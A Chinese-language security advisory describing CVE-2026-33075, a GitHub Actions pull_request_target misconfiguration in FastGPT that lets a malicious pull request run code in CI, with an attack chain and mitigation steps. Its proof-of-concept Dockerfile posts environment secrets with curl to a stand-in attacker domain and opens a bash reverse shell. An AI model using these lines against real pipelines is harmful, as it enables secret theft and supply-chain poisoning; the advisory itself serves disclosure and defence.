IPBUF安全漏洞报告
English
CVE-2026-33075 CVSS 8.8 高危

CVE-2026-33075 FastGPT 任意代码执行漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33075
漏洞类型
远程代码执行 (RCE) / 供应链攻击
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

RCE供应链攻击FastGPTCI/CDGitHub ActionsDocker

漏洞概述

FastGPT是一个AI智能体构建平台。在4.14.8.3及以下版本中,其GitHub Actions工作流`fastgpt-preview-image.yml`存在严重安全漏洞。由于使用了`pull_request_target`触发器但错误地检出了外部贡献者的代码,导致攻击者可以通过提交恶意Pull Request,利用受控的Dockerfile执行任意代码并窃取仓库密钥。此外,该漏洞还允许攻击者通过生产容器注册表进行供应链攻击,对系统安全构成极大威胁。

技术细节

该漏洞源于GitHub Actions工作流配置错误。`pull_request_target`事件允许工作流在目标仓库的上下文中运行(拥有访问仓库Secrets的权限),通常用于对来自Fork的PR进行构建测试。然而,`fastgpt-preview-image.yml`工作流在检出代码时,错误地使用了PR作者Fork分支的代码,而不是目标仓库受信任的代码。攻击者可以利用此逻辑缺陷,向FastGPT仓库提交一个包含恶意Dockerfile的Pull Request。当工作流触发时,它会以仓库的权限执行构建过程,运行攻击者控制的Dockerfile。这不仅导致在CI环境中执行任意命令(RCE),还能窃取如部署密钥、API Token等敏感信息。更严重的是,工作流会将构建好的镜像推送到生产容器注册表,造成供应链投毒,最终影响所有拉取该镜像的用户。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者Fork FastGPT仓库,并在其Fork的分支中修改`fastgpt-preview-image.yml`工作流所需的Dockerfile,植入恶意指令。
STEP 2
步骤2:投递
攻击者向官方FastGPT仓库提交Pull Request(PR),包含恶意代码的变更。
STEP 3
步骤3:触发工作流
由于使用了`pull_request_target`,GitHub Actions以目标仓库的高权限自动触发构建工作流。
STEP 4
步骤4:利用漏洞
工作流检出攻击者Fork仓库中的恶意代码,并执行Docker构建,导致恶意Dockerfile中的命令在CI环境中运行。
STEP 5
步骤5:执行攻击
恶意代码执行,窃取环境变量中的仓库Secrets,或将包含后门的镜像推送到生产容器注册表。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious Dockerfile Example # Attacker modifies this file in the PR to steal secrets FROM alpine:latest # Install curl to exfiltrate data RUN apk add --no-cache curl # Copy GitHub context (contains potential secrets if exposed) COPY . /app # Exfiltrate repository secrets to attacker controlled server # Note: GITHUB_TOKEN or other secrets might be injected as env vars or accessible via files RUN curl -X POST -H "Content-Type: application/json" \ -d "$(env | grep -i secret || cat /proc/self/environ)" \ https://attacker-controlled-domain.com/exfil # Reverse shell to gain control of the runner RUN apk add --no-cache bash && \ bash -c 'bash -i >& /dev/tcp/attacker-controlled-domain.com/4444 0>&1' &

影响范围

FastGPT <= 4.14.8.3

防御指南

临时缓解措施
由于目前没有可用的补丁,建议立即禁用受影响的GitHub Actions工作流`fastgpt-preview-image.yml`,以防止外部Pull Request触发自动构建。同时,全面审查容器注册表中的镜像,删除任何由不可信或未经验实的Pull Request构建的镜像。管理员应检查日志以确认是否有恶意构建发生,并假定相关仓库密钥已泄露,立即进行重置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表